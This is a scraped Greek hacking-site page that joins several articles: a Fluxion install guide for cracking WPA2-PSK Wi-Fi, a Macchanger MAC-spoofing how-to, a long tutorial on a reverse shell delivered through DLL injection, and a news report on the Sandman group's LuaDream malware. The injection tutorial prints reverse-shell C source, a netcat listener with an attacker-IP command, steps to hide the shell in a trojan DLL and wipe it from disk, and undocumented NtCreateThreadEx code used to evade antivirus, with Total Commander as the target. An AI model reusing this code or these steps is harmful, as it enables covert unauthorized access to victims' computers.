Όπως γνωρίζετε υπάρχουν πολλά πρωτόκολλα ασφαλείας στα ασύρματα δίκτυα, για παράδειγμα WEP, WPA και WPA2.
Το WEP είναι ένα απο τα πιο αδύναμα και το WPA2 απο τα πιο ισχυρά, οπότε το καθιστά και δύσκολο να σπάσει.
-Μερικοί σημαντικοί όροι –
WEP – Wired Equivalent Privacy
WPS – Wi-Fi Protected Setup
WAP – Wireless Application Protocol
WPA – Wi-Fi Protected Access (From June 2004)
WPA2 – Wi-Fi Protected Access v2
SSID – Service Set Identifier (ESSID and BSSID)
PSK – Pre Shared Key
Υπάρχουν πολλά εργαλεία τα οποία μπορούν να σπάσουν δίκτυα Wifi-fi όπως το Gerix Wi-Fi Cracker και το Fern Wi-Fi Cracker.
Τα περισσότερα όμως απο αυτα περιορίζονται μόνο σε δίκτυα WEP και WPA.
Έτσι σήμερα θα δούμε το εργαλείο FLUXION που είναι γραμμένο σε python και χρησιμοποιείται συνήθως για να σπάσουμε δίκτυα WPA2-PSK.
Βήματα για την εγκατάσταση του Fluxion στο Kali Linux – 1)Εγκατάσταση μέσω git clone με την παρακάτω εντολή git clone https://github.com/wi-fi-analyzer/fluxion
2)Πηγαίνετε στο φάκελο Fluxion με την παρακάτω εντολή cd fluxion
3)Για να τρέξουμε το εργαλείο μας, δώστε την εντολή ./fluxion
4) Μετά την ολοκλήρωση της εγκατάστασης, ενδέχεται να σας δείξει ότι λείπουν κάποια πακέτα. Μπορείτε εύκολα να εγκαταστήσετε αυτά που λείπουν με την εντολή ./Installer.sh
Όσο γίνετε η εγκατάσταση, πιθανών να σας ανοίγει διάφορα παράθυρα τα οποία έχουν να κάνουν με την εγκατάστασή τους.
5)Αφου ολοκληρώσαμε και την εγκατάσταση των packages, μπορείτε εύκολα να χρησιμοποιήσετε το Fluxion πληκτρολογώντας αυτήν την εντολή “sudo ./fluxion”
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας. Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους. Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.
Αλλαγή Διεύθυνσης MAC με το Macchanger στο Kali Linux
Το Macchanger στο Kali Linux αποτελεί ένα ισχυρό εργαλείο που επιτρέπει στους χρήστες να αλλάξουν τη διεύθυνση MAC της δικτυακής τους κάρτας, προσθέτοντας ένα επιπλέον επίπεδο ανωνυμίας στις διαδικασίες τους.
Σε αυτό το άρθρο, θα εξετάσουμε πώς να χρησιμοποιήσετε αποτελεσματικά το Macchanger στο Kali Linux, ενισχύοντας την ανωνυμία σας στο δίκτυο.
Η διεύθυνση MAC (Media Access Control) είναι ένα μοναδικό αναγνωριστικό που ανατίθεται σε κάθε δικτυακή συσκευή. Χρησιμοποιείται για τον αναγνωρισμό και την επικοινωνία στο δίκτυο.
Η αλλαγή της διεύθυνσης MAC με το Macchanger επιτρέπει στους χρήστες να τροποποιήσουν αυτό το αναγνωριστικό, έχοντας παραπάνω ανωμία.
Οδηγίες Χρήσης του Macchanger στο Kali Linux
Άνοιγμα Τερματικού:
Εκτέλεση του Macchanger:
sudo macchanger -r [Όνομα Δικτυακής Κάρτας]
Για παράδειγμα:
sudo macchanger -r eth0
Το [Όνομα δικτυακής κάρτας] αναφέρεται στο όνομα της δικτυακής σας κάρτας, π.χ., eth0 ή wlan0.
Για επαναφορά της πραγματικής διεύθυνσης MAC
sudo macchanger -p [Όνομα Δικτυακής Κάρτας]
Για να βρείτε το όνομα της κάρτας Wi-Fi στο Kali Linux, μπορείτε να χρησιμοποιήσετε την εντολή iwconfig ή την εντολή ifconfig. Αυτές οι εντολές εμφανίζουν πληροφορίες σχετικά με τις διαθέσιμες δικτυακές συσκευές, συμπεριλαμβανομένων των ασύρματων.
Εκτελέστε τις παρακάτω εντολές στο τερματικό:
iwconfig
Θα δείτε μια λίστα με τις ασύρματες δικτυακές συσκευές, και το όνομα της κάρτας Wi-Fi θα εμφανίζεται στην αρχή της κάθε εγγραφής.
Χρησιμοποιώντας το
ifconfig
Θα δείτε μια λίστα με όλες τις δικτυακές συσκευές. Η κάρτα Wi-Fi θα είναι συνήθως με τη μορφή wlanX, όπου X είναι ένας αριθμός.
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας.
Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους.
Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.
Reverse shell μέσω DLL Injection με χρήση undocumented WinAPI function
Στο άρθρο αυτό θα δείξουμε μια σχετικά παλιά αλλά πολύ διαδεδομένη μέθοδο που χρησιμοποιούν οι επιτιθέμενοι για να εγκαταστήσουν ένα backdoor στον υπολογιστή του θύματος. Το συγκεκριμένο άρθρο μπορεί να το δείτε και κάπου αλλού (στα Αγγλικά) μιας και το έχω γράψει σε ξενόγλωσσα forums. Δεν είναι καινούριο και γενικά χρησιμοποιεί λίγο παλαιότερη τεχνολογία (όχι πολύ παλαιότερη btw… 😉 ) αλλά αυτό δεν πρέπει να μας ενοχλεί καθόλου για 2 λόγους:
Δεν μπορεί να χρησιμοποιηθεί (χωρίς κάποιες τροποποιήσεις) άμεσα για επιθέσεις.
Περνάει το μήνυμα της μεθοδολογίας που χρησιμοποιείται από τους επιτιθέμενους – που αυτό είναι και ένας από τους βασικούς στόχους του άρθρου.
Τι θα διαβάσετε σε αυτό το άρθρο
1) Πώς εκτελείται μια επίθεση DLL σε ένα υπολογιστή με Windows 7 Ultimate, με 2 τρόπους:
α) χρησιμοποιώντας μια documented Windows API function και
β) χρησιμοποιώντας μια μη τεκμηριωμένη (undocumented) API function των Windows. Αυτή η μέθοδος θα παρακάμψει επίσης το πρόγραμμα προστασίας από ιούς των Windows Essentials.
2) Όταν εκτελείται το injection, ένα private (μη ανιχνεύσιμο – τουλάχιστον την στιγμή που το έγραψα… 😉 ) reverse shell, (συμπεριλαμβάνεται ο πηγαίος κώδικας).
3) Επιπλέον, παρουσιάζεται μια (…πρωτότυπη ή καλύτερα λίγο αντισυμβατική) μέθοδος δημιουργίας ενός εκτελέσιμου αρχείου PE από ένα DLL κατά το χρόνο εκτέλεσης.
Πρέπει να είμαι guru για να το καταλάβω;
Αυτό το άρθρο αναφέρεται σε άτομα που γνωρίζουν ήδη πώς να προγραμματίζουν σε c ή c++ και έχουν βασικές γνώσεις για κλήσεις API των Windows. Επιπλέον, απαιτείται κάποια γνώση των τεχνικών εκμετάλλευσης ως εξής:
Τι είναι ένα reverse shell και πώς χρησιμοποιείται.
Το DLL Injection είναι μια δημοφιλής τεχνική που χρησιμοποιείται από τους εισβολείς για να εισάγουν κώδικα σε ένα εκτελέσιμο αρχείο προκειμένου να εκτελέσουν μια ελεγχόμενη εκτέλεση.
Θα παρουσιάσω δύο μεθόδους επιτυχημένης επίθεσης σε Windows 7 Ultimate OS που επιστρέφει ένα reverse shell στον εισβολέα. Η πρώτη μέθοδος χρησιμοποιεί την τεκμηριωμένη συνάρτηση API των Windows CreateRemoteThread και η δεύτερη μέθοδος χρησιμοποιεί την μη τεκμηριωμένη NtCreateThreadEx. Προτιμώ την τελευταία, γιατί η πρώτη “αγχώνει” λίγο το Windows Defender ενώ η δεύτερη όχι (τουλάχιστον όταν είχε δοκιμαστεί πριν μερικά χρόνια)!
Επιπλέον, ένα reverse shell (που αναπτύχθηκε σε c++) θα χρησιμοποιηθεί σε συνδυασμό με μια μέθοδο μεταφοράς ή… “συσκευασίας” ενός εκτελέσιμου αρχείου μέσα σε άλλο εκτελέσιμο αρχείο (ή DLL).
Η τελική επίθεση θα γίνει χρησιμοποιώντας δύο προσεγγίσεις:
Την παραδοσιακή (χειροκίνητη) προσέγγιση που χρησιμοποιώ μόνο το Netcat και
την… «επίσημη» προσέγγιση όπου χρησιμοποιώ το γνωστό Armitage του Metasploit arsenal. Φωτογραφίες της επίθεσης θα είναι διαθέσιμες σε εσάς καθώς και σύντομα βίντεο.
Πριν ξεκινήσουμε, θα ήθελα να διευκρινίσω ότι αυτό το άρθρο δεν είναι ένα σεμινάριο “Πώς να εισβάλετε”, ούτε μια μέθοδος εγκατάστασης ενός Trojan στο PC ενός θύματος. Είναι ακριβώς αυτό που δηλώνει ο τίτλος του: Μια μέθοδος κλήσης ενός Reverse Shell μέσω DLL Injection χρησιμοποιώντας μη τεκμηριωμένη συνάρτηση του API στα Windows 7.
Τα πρώτα βήματα
Για να εκτελέσουμε μια τέτοια επίθεση πρέπει πρώτα να αποφασίσουμε σε ποιο εκτελέσιμο πρόγραμμα θέλουμε να εισάγουμε τον κακόβουλο κώδικα μας. Στο παράδειγμά μου θα χρησιμοποιήσω σαν θύμα το πρόγραμμα Total Commander (http://www.ghisler.com), τον αγαπημένο Windows Manager των προγραμματιστών (και όχι μόνο!). Η εισαγωγή κακόβουλου κώδικα στο Total Commander, σημαίνει (εν ολίγης) ότι όταν ο χρήστης ξεκινήσει αυτό το πρόγραμμα στο τοπικό του υπολογιστή, θα λάβω αμέσως ένα reverse shell στο box μου (δηλ. στο… PC μου) με τα ίδια δικαιώματα που έχει το Total Commander όταν εκτελείτε. Για να είμαι πιο συγκεκριμένος, η μέθοδος ακολουθεί τρία βήματα που θα αναλύσω παρακάτω.
Η Μέθοδος
Βήμα 1. Έλεγξε εάν εκτελείται το «Total Commander».
Βήμα 2. Εάν εκτελείται, εκτέλεσε το injection και εκτέλεσε ένα reverse shell σε μια συγκεκριμένη διεύθυνση IP, μετά συνέχισε την εκτέλεση του Total Commander.
Βήμα 3. Εάν το “Total Commander” δεν εκτελείται, τότε πήγαινε στο 1.
Η προσέγγισή μου θα χρησιμοποιήσει τρία προγράμματα:
1. totalcmd.exe (Total Commander): είναι το πρόγραμμα που θα πυροδοτήσει όλη την επίθεση.
2. myDLL.DLL: Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα “μεταφέρει” τον εκτελέσιμο κώδικα του reverse shell. Μία από τις κύριες αρμοδιότητές του είναι όταν κληθεί το eventDLL_PROCESS_ATTACH, θα “αποσυσκευάσει” το reverse shell στο δίσκο και θα το εκτελέσει.
3. dllattack08.exe: Είναι το βασικό κακόβουλο πρόγραμμα που όταν εκτελεστεί στον υπολογιστή του θύματος, θα παραμείνει στη μνήμη εκτελόντας τα παραπάνω 3 βήματα της μεθόδου.
1. Δημιουργία του Reverse Shell.
Θα παρουσιάσω εδώ τον πηγαίο κώδικα του (private – εκείνη την εποχή που το έφτιαξα) Reverse Shell.
// reverse shell in win32 // by thiseas 2010 // Compile with VS 2008 from command line with cl: // cl PROGRAMrs.c -> PROGRAMrs.exe //////////////////////////////////////////////// #include <winsock2.h> #include <stdio.h>
#pragma comment(lib, “Ws2_32.lib”) //Inform the linker that the Ws2_32.lib file is needed.
// Starting shell by creating a new process with redirected i/o. memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket; // fork the new process. if(CreateProcess(NULL,”cmd.exe”,NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0) { WSACleanup(); return 1; }
return 0; }
Το παραπάνω πρόγραμμα μπορεί να χρησιμοποιηθεί ως αντικατάσταση του Netcat ή σε συνδυασμό με αυτό.
Χρήση
Για να τρέξουμε με επιτυχία το shell πρέπει να εκτελέσουμε τις ακόλουθες δύο εντολές:
Εντολή 1: Στο PC του επιτιθέμενου, εκτελέστε το Netcat για να βάλετε σε Listening mode μια σύνδεση:
στο Fedora : nc -l 1234
στο ubuntu: nc -v -l -p 1234
σε Windows : nc -v -l -p 1234
Εντολή 2: Στο PC του θύματος, εκτελέστε το reverse shell: c:> PROGRAMrs.exe <attackerIP> 1234
2.Πώς θα φυλάξουμε τον εκτελέσιμο κώδικα του shell μέσα σε ένα άλλο πρόγραμμα
Θα «αποθηκεύσω» τον εκτελέσιμο κώδικα μέσα στο DLL (που θα χρησιμοποιήσω αργότερα) για να εκτελεστεί όταν χρειαστεί (θα εξηγήσω αργότερα πώς). Έτσι, πρέπει να πάρω τον HexCode του εκτελέσιμου ReverseShell μου και να τον βάλω μέσα σε άλλο πρόγραμμα. Υπάρχουν διάφορες μέθοδοι για να γίνει αυτό. Ο στόχος είναι να αποθηκεύσετε ολόκληρο το ReverseShell εκτελέσιμο μέσα σε έναν byte Array και στη συνέχεια να γράψετε αυτόν Byte Array στο δίσκο με ένα νέο όνομα. Το νέο αρχείο που θα δημιουργηθεί θα είναι ένα κανονικό εκτελέσιμο PE (http://en.wikipedia.org/wiki/Portable_Executable)!
Ανοίγω το εκτελέσιμο “PROGRAMrs.exe” του αντίστροφου κελύφους χρησιμοποιώντας τον αγαπημένο μου επεξεργαστή ultraEdit (το οποίο είναι επίσης hex editor). Επιλέξτε όλα, κάντε δεξί κλικ και επιλέξτε Hex Copy Selected View (εικόνα 1).
Επικολλώ τα επιλεγμένα code-bytes σε ένα νέο αρχείο. Επιλέγω τις συγκεκριμένες στήλες στον editor (Alt+C) και επιλέγω όλο τον byte-code. Στη συνέχεια, κάνω δεξί κλικ και αντγραφή Ctrl+C (εικόνα 2).
Έβαλα τα επιλεγμένα byte σε ένα νέο αρχείο και έβαλα ένα “\x” μεταξύ κάθε δεκαεξαδικού, όπως δείχνει το ακόλουθο παράδειγμα:
Από:
Για να το κάνω γρήγορα μπορώ στον editor να αντικαταστήσω όλα τα κενά με ‘\x’ και τελικά να καταλήξω στο παρακάτω:
Εντάξει, αυτό ήταν. Αποθηκεύω αυτό το αρχείο στο δίσκο με το όνομα MyTempByteCode.txt.
3.Δημιουργώ την DLL
Ήρθε η ώρα σε αυτό το 3ο βήμα, να δημιουργήσω την DLL. Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα φέρει μέση της το ReverseShell μέσα. Μία από τις κύριες αρμοδιότητές της είναι όταν κληθεί και εκτελεστεί το event DLL_PROCESS_ATTACH, θα αποσυσκευάσει το ReverseShell στο δίσκο και θα το εκτελέσει.
Την δημιούργησα χρησιμοποιώντας C++ στο Microsoft Visual Studio 2008 και ο κώδικας της είναι ο παρακάτω:
Ο πηγαίος κώδικας είναι (πιστεύω) αυτονόητος: Όταν ενεργοποιηθεί το event DLL_PROCESS_ATTACH, θα γράψω τα shell-bytes σε ένα αρχείο και θα το εκτελέσω (για να ξεκινήσει το RevsreShell) και αμέσως μετά θα τον διαγράψω από το δίσκο για να κρύψω τα ίχνη μου. Φυσικά, αυτό θα έχει μείνει στην μνήμη και θα επιτελεί την κακόβουλη εργασία του, δηλαδή θα έχει δώσει μη εξουσιοδοτημένη πρόσβαση στον επιτιθέμενο.
4.Εκτελώντας το Injection
Τώρα χρειάζομαι ένα πρόγραμμα για να ενεργοποιήσει, να καλέσει δηλαδή το παραπάνω DLL. Αυτό είναι βασικό πρόγραμμα που θα ενεργοποιήσει την επίθεση και είναι το: dllattack08.exe: Είναι αυτό που θα εκτελέσει το injection στο “Total Commander” χρησιμοποιώντας μια τεκμηριωμένη συνάρτηση WinAPI και μια μη τεκμηριωμένη WinAPI (the stealth case) – όπως είπαμε και στην αρχή του άρθρου.
typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, IN ULONG SizeOfStackReserve, OUT LPVOID lpBytesBuffer );
if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )) { printf(“\nFailed to get the current session with error %d”, GetLastError()); } if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )) { printf(“\nFailed to get the remote session with error %d”, GetLastError()); }
if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”)) printf(“\nSUCCESSFUL!\n”); else printf(“\nFailed!\n”);
return 0; }
Πιστεύω ότι κάποια θέματα στον παραπάνω κώδικα χρειάζονται κάποια διευκρίνιση. Η κλήση της συνάρτησης που εκτελεί το DLL injection χρησιμοποιώντας το τεκμηριωμένο API CreateRemoteThread είναι η: DllInject(hProcess, “\\DLLInjection\\myDLL.dll”)
Η συνάρτηση παίρνει 2 ορίσματα: Τον handler της διεργασίας του προγράμματος που πρόκειται να Inject και το όνομα του αρχείου DLL που θα επισυναφθεί στο injected εκτελέσιμο αρχείο. Όπως μπορείτε να δείτε αυτό είναι αρκετά “ανοιχτό” για να δεχτείτε οτιδήποτε σας αρέσει… 😎
Ένα άλλο ενδιαφέρον θέμα είναι η χρήση της συνάρτησης SeDebugPrivilege ως προσπάθεια απόκτησης όσο το δυνατόν περισσότερων προνομίων. Η Microsoft ανέφερε κάποτε το εξής:
“By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do».
Αυτό είναι πράγματι ενδιαφέρον. Σύμφωνα με τις δοκιμές μου, τα παραπάνω δεν ισχύουν 100% για τα windows 7, αλλά άξιζε μια δοκιμή… πάντως.
Ένα σημαντικό μειονέκτημα αυτής της μεθόδου είναι ότι ενεργοποιεί το Microsoft Security Essentials Antivirus. Ανακάλυψα ότι η αιτία του συναγερμού είναι η χρήση του API CreateRemoteThread μέσα στη συνάρτηση DllInject. Αντικαθιστώ, λοιπόν, αυτή τη λειτουργία με μια νέα αλλά… undocumented! Το να εξηγήσουμε πώς βρίσκουμε και αναλύουμε μη τεκμηριωμένες λειτουργίες API των Windows είναι μια άλλη ιστορία (πράγματι προκλητική) που θα προσπαθήσω να εξηγήσω σε άλλο άρθρο. Η μη τεκμηριωμένη κλήση API υλοποιείται στη συνάρτηση DllInject_2. Η μόνη αλλαγή στον κώδικα για να καλέσετε αυτό το API είναι να αντικαταστήσετε την 7η γραμμή από το κάτω μέρος του παραπάνω πηγαίου κώδικα:
Από if (DllInject(hProcess, “\\DLLInjection\\myDLL.dll”))
Προς την if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”))
Και αυτό είναι. Γίνεσαι stealth!
Χειροκίνητη Επίθεση
Παρακάτω είναι ένα παράδειγμα επίθεσης με τον χειροκίνητο (παραδοσιακό) τρόπο:
Επίθεση με την χρήση του Metasploit Armitage
Το Metasploit [http://www.metasploit.com/] είναι ένα επαγγελματικό εργαλείο για Penetration Testers και όχι μόνο. Το Armitage είναι ένα front-end (μπορώ να πω) για το metasploit. Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για την εκτέλεση μας τέτοιας ίδιας επίθεσης. Μπορεί να χρησιμοποιηθεί ως client για να ακούσετε στη θύρα 6666 για να λάβετε το RevsrseShell μου. Ρίξτε μια ματιά εδώ:
και αμέσως μετά… Αυτό:
Ένα από τα ενδιαφέροντα πράγματα εδώ είναι ότι μπορεί να χρησιμοποιηθεί οποιοδήποτε Reverse Shell. Μπορείτε (για παράδειγμα) να δημιουργήσετε ένα κρυπτογραφημένο χρησιμοποιώντας το Metasploit, να λάβετε τον δυαδικό του κώδικα, να τον βάλετε στο DLL μου και να εκτελέσετε την επίθεση. Η μέθοδος και ο κώδικας είναι αρκετά ανοιχτοί για να υποστηρίξουν τέτοιες τεχνικές…
Και μερικά VIDEOs της επίθεσης
[1]. Περίπτωση I: Η εφαρμογή Total Commander ήδη είναι ανοιχτή στο PC του θύματος
[2]. Case II: Η εφαρμογή Total Commander ανοίγει μετά την εκτέλεση του malware (dllattack08.exe) στο PC του θύματος
Με πολύτιμη εμπειρία στον κόσμο της κυβερνοασφάλειας συμβάλλει ενεργά στην κοινότητά μας με αναλύσεις ευπαθειών και οδηγούς.
Με τη συνεισφορά του, προσφέρει στην κοινότητα μας ένα πλούσιο φάσμα γνώσεων και δεξιοτήτων που ενισχύουν την ανάπτυξη και την ασφάλεια του ψηφιακού μας κόσμου.
Νέο κακόβουλο λογισμικό από τους ‘Sandman’ hackers
Μια άγνωστη ομάδα χάκερς με την ονομασία “Sandman” στοχεύει παρόχους τηλεπικοινωνιακών υπηρεσιών στη Μέση Ανατολή, τη Δυτική Ευρώπη και τη Νότια Ασία, χρησιμοποιώντας ένα αρθρωτό κακόβουλο λογισμικό κλοπής πληροφοριών με την ονομασία “LuaDream”.
Αυτή η κακόβουλη δραστηριότητα ανακαλύφθηκε από την SentinelLabs σε συνεργασία με την QGroup GmbH τον Αύγουστο του 2023, η οποία ονόμασε τον απειλητικό παράγοντα και το κακόβουλο λογισμικό από το εσωτερικό όνομα του backdoor ‘DreamLand client’.
Το επιχειρησιακό στυλ του Sandman είναι να διατηρεί χαμηλό προφίλ για να αποφεύγει την ανίχνευση, ενώ παράλληλα εκτελεί πλευρικές μετακινήσεις και διατηρεί μακροχρόνια πρόσβαση σε παραβιασμένα συστήματα για να μεγιστοποιήσει τις επιχειρήσεις κυβερνοκατασκοπείας του.
Δημοφιλής στόχος
Η Sandman στοχεύει σε παρόχους τηλεπικοινωνιακών υπηρεσιών στη Μέση Ανατολή, τη Δυτική Ευρώπη και τη Νότια Ασία.
Η SentinelOne αναφέρει ότι ο δράστης απειλής αποκτά πρώτα πρόσβαση σε ένα εταιρικό δίκτυο χρησιμοποιώντας κλεμμένα διαπιστευτήρια διαχείρισης.
Μόλις παραβιαστεί το δίκτυο, ο Sandman έχει παρατηρηθεί να χρησιμοποιεί επιθέσεις “pass-the-hash” για την πιστοποίηση ταυτότητας σε απομακρυσμένους διακομιστές και υπηρεσίες, αποσπώντας και επαναχρησιμοποιώντας τους κατακερματισμούς NTLM που είναι αποθηκευμένοι στη μνήμη.
Η έκθεση της SentinelLabs εξηγεί ότι, σε μια περίπτωση, όλοι οι σταθμοί εργασίας που είχαν ως στόχο οι χάκερς είχαν ανατεθεί σε διευθυντικό προσωπικό, υποδεικνύοντας το ενδιαφέρον του επιτιθέμενου για προνομιακές ή εμπιστευτικές πληροφορίες.
LuaDream malware
Η SandMan έχει παρατηρηθεί να αναπτύσσει ένα νέο αρθρωτό κακόβουλο λογισμικό με την ονομασία “LuaDream” σε επιθέσεις που χρησιμοποιούν αεροπειρατεία DLL σε στοχευμένα συστήματα. Το κακόβουλο λογισμικό παίρνει το όνομά του από τη χρήση του μεταγλωττιστή LuaJIT just-in-time για τη γλώσσα σεναρίων Lua
Το κακόβουλο λογισμικό χρησιμοποιείται για τη συλλογή δεδομένων και τη διαχείριση πρόσθετων προγραμμάτων που επεκτείνουν τη λειτουργικότητά του, τα οποία λαμβάνονται από τον διακομιστή εντολών και ελέγχου (C2) και εκτελούνται τοπικά στο σύστημα που έχει παραβιαστεί.
Η ανάπτυξη του κακόβουλου λογισμικού φαίνεται να είναι ενεργή, με μια ανακτημένη συμβολοσειρά εκδόσεων που υποδεικνύει τον αριθμό έκδοσης “12.0.2.5.23.29”, ενώ οι αναλυτές έχουν δει ενδείξεις για αρχεία καταγραφής και λειτουργίες δοκιμών που πηγαίνουν πίσω μέχρι τον Ιούνιο του 2022.
Η σταδιοποίηση του LuaDream βασίζεται σε μια εξελιγμένη διαδικασία επτά βημάτων στη μνήμη με στόχο να αποφύγει την ανίχνευση, η οποία ξεκινά είτε από την υπηρεσία φαξ των Windows είτε από την υπηρεσία Spooler, η οποία εκτελεί το κακόβουλο αρχείο DLL.
Το LuaDream αποτελείται από 34 στοιχεία, με 13 στοιχεία πυρήνα και 21 στοιχεία υποστήριξης, τα οποία χρησιμοποιούν τον bytecode LuaJIT και το API των Windows μέσω της βιβλιοθήκης ffi.
Τα στοιχεία πυρήνα χειρίζονται τις πρωταρχικές λειτουργίες του κακόβουλου λογισμικού, όπως η συλλογή δεδομένων συστήματος και χρήστη, ο έλεγχος των πρόσθετων και οι επικοινωνίες C2, ενώ τα στοιχεία υποστήριξης ασχολούνται με τις τεχνικές πτυχές, όπως η παροχή βιβλιοθηκών Lua και ορισμών του API των Windows.
Κατά την αρχικοποίηση, το LuaDream συνδέεται με έναν διακομιστή C2 (μέσω TCP, HTTPS, WebSocket ή QUIC) και στέλνει τις πληροφορίες που έχει συλλέξει, συμπεριλαμβανομένων των εκδόσεων κακόβουλου λογισμικού, διευθύνσεων IP/MAC, στοιχείων λειτουργικού συστήματος κ.λπ.
Λόγω του ότι οι επιτιθέμενοι αναπτύσσουν συγκεκριμένα plugins μέσω του LuaDream σε κάθε επίθεση, η SentinelLabs δεν διαθέτει εξαντλητικό κατάλογο όλων των διαθέσιμων plugins.
Ωστόσο, η έκθεση σημειώνει ένα module με την ονομασία “cmd”, το όνομα του οποίου υποδηλώνει ότι παρέχει στους επιτιθέμενους δυνατότητες εκτέλεσης εντολών στην παραβιασμένη συσκευή.
Ενώ έχουν εκτεθεί ορισμένα από τα προσαρμοσμένα κακόβουλα προγράμματα της Sandman και μέρος της υποδομής του διακομιστή C2, η προέλευση του δράστη της απειλής παραμένει αναπάντητη.
Η Sandman έρχεται να προστεθεί σε έναν αυξανόμενο κατάλογο προηγμένων επιτιθέμενων που στοχεύουν εταιρείες τηλεπικοινωνιών για κατασκοπεία, χρησιμοποιώντας μοναδικά μυστικά backdoors που είναι δύσκολο να εντοπιστούν και να σταματήσουν.
Οι πάροχοι τηλεπικοινωνιών αποτελούν συχνό στόχο για κατασκοπευτικές δραστηριότητες λόγω της ευαίσθητης φύσης των δεδομένων που διαχειρίζονται.
Νωρίτερα αυτή την εβδομάδα, αναφερθήκαμε σε ένα νέο σύμπλεγμα δραστηριοτήτων που εντοπίστηκε ως “ShroudedSnooper” και χρησιμοποίησε δύο νέα backdoors, το HTTPSnoop και το PipeSnoop, εναντίον τηλεπικοινωνιακών παρόχων στη Μέση Ανατολή.